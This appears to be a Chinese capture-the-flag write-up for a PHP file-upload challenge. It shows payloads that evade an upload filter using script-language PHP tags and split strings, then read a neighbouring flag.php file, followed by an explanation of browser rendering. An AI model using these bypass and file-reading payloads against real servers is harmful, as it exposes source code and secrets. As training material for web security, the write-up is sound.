0x00題目內容:
想怎么傳就怎么傳,就是這么任性。
tips:flag在flag.php中
0x01試探
先隨便寫個腳本上傳一下試試
<?php
echo 'test';
訪問結果為 echo 'test';
猜測過濾了<?和php,使用script繞過和大小寫繞過,重新嘗試
<script language="PHP">
echo 'test';
</script>
訪問結果為test
0x02讀取flag.php
接下來嘗試讀取flag.php 這里php也需要繞過,可以用.連接字符串繞過,也可以strtolower('PHP')繞過
<script language="PHP">
echo((file_get_contents('flag.'.'p'.'h'.'p')));
</script>
訪問結果為空白
原因是php腳本上傳在/u/xxx.php中
試一試上級目錄吧
<script language="PHP">
echo((file_get_contents('../flag.'.'p'.'h'.'p')));
</script>
訪問頁面是空白的,查看源代碼
<?php
echo 'here_is_flag';
'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}';
這里采用其他方式讀取也是可以的, PHP讀取文件內容的五種方式[1]
為什么頁面是空白的呢
0x03延伸探究
- 用戶輸入url地址,瀏覽器根據域名尋找IP地址
- 瀏覽器向服務器發送http請求,如果服務器段返回以301之類的重定向,瀏覽器根據相應頭中的location再次發送請求
- 服務器端接受請求,處理請求生成html代碼,返回給瀏覽器,這時的html頁面代碼可能是經過壓縮的
- 瀏覽器接收服務器響應結果,如果有壓縮則首先進行解壓處理,緊接着就是頁面解析渲染
解析渲染該過程主要分為以下步驟:
- 解析HTML
- 構建DOM樹
- DOM樹與CSS樣式進行附着構造呈現樹
- 布局
- 繪制 [2]
當瀏覽器請求服務器上的其他語言的腳本時,如php,則先運行腳本,然后將結果解析為HTML,再返回給瀏覽器呈現。
而本題中,運行了上傳的php,將讀取到的flag.php的代碼(一個字符串)返回,即將此時的php代碼轉換為了HTML界面[3],就好比在.HTML文件寫入php代碼一樣[4]。
解決方案:
1:PHP htmlspecialchars() 函數
該函數把預定義的字符轉換為 HTML 實體。即可以顯示在頁面中。
<script language="PHP">
echo(htmlspecialchars(file_get_contents('../flag.'.'p'.'h'.'p')));
</script>
2.PHP file()函數
file() 將文件作為一個數組返回。數組中的每個單元都是文件中相應的一行,包括換行符在內。也就是<?php成為了單獨的一行,解釋器只注釋掉了這一行,后面的flag可以顯示出來。
<script language="PHP">
print_r(file('../flag.'.'p'.'h'.'p'));
</script>
參考:
[1]PHP讀取文件內容的五種方式 http://blog.csdn.net/yilovexing/article/details/52711673
[2]HTML渲染過程詳解 http://www.cnblogs.com/dojo-lzz/p/3983335.html
[3]Web網站工作原理解析 http://blog.csdn.net/finish_dream/article/details/50900285#t2
[4]為什么嵌入html中的php代碼瀏覽器打的時侯會被注釋掉 http://blog.csdn.net/fjnjxr/article/details/73188517
